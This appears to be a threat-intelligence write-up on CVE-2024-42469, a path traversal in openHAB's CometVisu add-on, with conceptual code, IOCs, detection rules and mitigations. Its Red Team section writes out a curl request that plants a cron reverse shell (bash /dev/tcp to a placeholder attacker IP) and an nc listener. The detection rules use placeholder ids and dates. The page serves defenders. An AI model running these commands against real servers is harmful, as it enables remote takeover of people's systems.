CVE-2024-42469
Executive Summary
CVE-2024-42469 is a critical unauthenticated path traversal vulnerability in the CometVisu visualization add-on for openHAB, an open-source home automation platform. The vulnerability allows an attacker to overwrite arbitrary files on the openHAB server without authentication. By targeting shell scripts that are executed later (e.g., cron jobs, startup scripts), an attacker can achieve remote code execution (RCE) with the privileges of the openHAB process. The CVSS score is 9.8 (Critical), and no public exploit code or proof-of-concept is currently available. The vendor has released a patch in version 4.2.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but in a Java-based open-source project (openHAB). The risk is primarily to self-hosted instances. Users should verify the integrity of their openHAB installation and ensure they are running version 4.2.1 or later.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – An attacker can read sensitive files.
- Integrity Impact: High (I:H) – An attacker can overwrite critical files.
- Availability Impact: High (A:H) – An attacker can disrupt the system.
Threat Level: Critical. The combination of no authentication, low complexity, and potential for RCE makes this a high-priority vulnerability for patching.
Deep Dive & Mechanics
The CometVisu add-on provides file system endpoints for managing visualization files. Two key issues exist:
- Lack of Authentication: The endpoints do not require any authentication, allowing any network-accessible attacker to interact with them.
- Path Traversal: The endpoint used to update an existing file does not properly sanitize user-supplied paths. An attacker can use
../sequences to escape the intended directory and write to arbitrary locations on the file system.
Attack Flow:
- The attacker identifies an openHAB instance with CometVisu enabled (typically on port 8080 or 8443).
- The attacker sends a crafted HTTP request to the file update endpoint, e.g.,
POST /cometvisu/rest/file/../../../../etc/cron.d/malicious. - The request body contains the content of a malicious shell script.
- The server writes the file to the specified path (e.g.,
/etc/cron.d/malicious). - When the cron job executes (or the script is triggered), the attacker gains code execution.
Root Cause: The file path is not validated against a whitelist of allowed directories, and no authentication is enforced.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable endpoint - no authentication, no path validation
@POST
@Path("/file/{path:.*}")
public Response updateFile(@PathParam("path") String path, String content) {
File file = new File(baseDir, path);
// No check for path traversal
Files.write(file.toPath(), content.getBytes());
return Response.ok().build();
}
Patched Code (Conceptual):
// Patched endpoint - authentication required, path sanitized
@POST
@Path("/file/{path:.*}")
@RolesAllowed("admin")
public Response updateFile(@PathParam("path") String path, String content) {
// Normalize and validate path
Path resolvedPath = Paths.get(baseDir).resolve(path).normalize();
if (!resolvedPath.startsWith(baseDir)) {
return Response.status(403).entity("Forbidden").build();
}
// Additional checks for allowed file types
Files.write(resolvedPath, content.getBytes());
return Response.ok().build();
}
Key Differences:
- Authentication is enforced via
@RolesAllowed("admin"). - Path normalization and validation prevent directory traversal.
- The resolved path must start with the base directory.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy openHAB 4.2.0 with CometVisu add-on enabled.
- Ensure the instance is accessible on the network (e.g.,
http://target:8080).
Exploitation Steps:
- Identify the endpoint: The vulnerable endpoint is typically
/cometvisu/rest/file/{path}. - Craft the payload: Create a malicious shell script (e.g., reverse shell).
#!/bin/bash bash -i >& /dev/tcp/attacker_ip/4444 0>&1 - Send the request:
curl -X POST "http://target:8080/cometvisu/rest/file/../../../../etc/cron.d/malicious" \ -H "Content-Type: text/plain" \ -d '#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1' - Trigger execution: Wait for the cron job to run, or if overwriting a startup script, restart the service.
- Receive shell: Listen on your attacker machine:
nc -lvnp 4444
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/cometvisu/rest/file/with suspicious paths containing../. - Alert on file writes outside the expected CometVisu directory (e.g.,
/etc/,/usr/bin/). - Use file integrity monitoring (FIM) to detect unauthorized changes to system scripts.
Hunting:
- Search logs for
cometvisuandfilein the same request. - Look for unusual file creation events in
/var/log/or/etc/.
Mitigation:
- Immediately upgrade to openHAB 4.2.1.
- If patching is not possible, restrict network access to the CometVisu endpoints using a firewall or reverse proxy.
- Disable the CometVisu add-on if not needed.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/cometvisu/rest/file/with path traversal sequences (../). - Outbound connections from the openHAB server to unknown IPs on common reverse shell ports (4444, 1337, etc.).
- HTTP POST requests to
- File System:
- Unexpected files in
/etc/cron.d/,/etc/init.d/, or/usr/local/bin/with suspicious content (e.g., reverse shell commands). - Modified system scripts (e.g.,
/etc/rc.local,/etc/rc.d/).
- Unexpected files in
- Process:
- Unusual child processes spawned by the openHAB Java process (e.g.,
bash,sh,nc).
- Unusual child processes spawned by the openHAB Java process (e.g.,
- Logs:
- openHAB logs showing file write operations to paths outside the expected directory.
Detection Engineering
YARA Rule
rule CVE_2024_42469_CometVisu_PathTraversal {
meta:
description = "Detects path traversal attempts in CometVisu file update requests"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-42469"
strings:
$path_traversal = /\.\.\// nocase
$cometvisu_endpoint = "/cometvisu/rest/file/" nocase
condition:
$cometvisu_endpoint and $path_traversal
}
Sigma Rule
title: CVE-2024-42469 CometVisu Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against openHAB CometVisu file endpoints
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/cometvisu/rest/file/'
cs-uri-query|contains: '..'
condition: selection
falsepositives:
- Legitimate file operations within the allowed directory
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-42469 CometVisu Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/cometvisu/rest/file/"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update openHAB to version 4.2.1 or later. This is the only complete fix.
- Network Segmentation: If immediate patching is not possible, restrict access to the CometVisu endpoints to trusted IPs only using a firewall or reverse proxy (e.g., Nginx, Apache).
- Disable Add-on: If CometVisu is not required, disable or remove the add-on.
Long-term Measures:
- Implement a Web Application Firewall (WAF) to block path traversal patterns.
- Enable authentication for all administrative endpoints.
- Conduct regular security audits of open-source dependencies.
- Monitor for similar vulnerabilities in other openHAB add-ons.
Workaround (if patching is delayed):
- Use a reverse proxy to add authentication (e.g., HTTP Basic Auth) to the
/cometvisu/path. - Example Nginx configuration:
location /cometvisu/ { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://localhost:8080; }
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert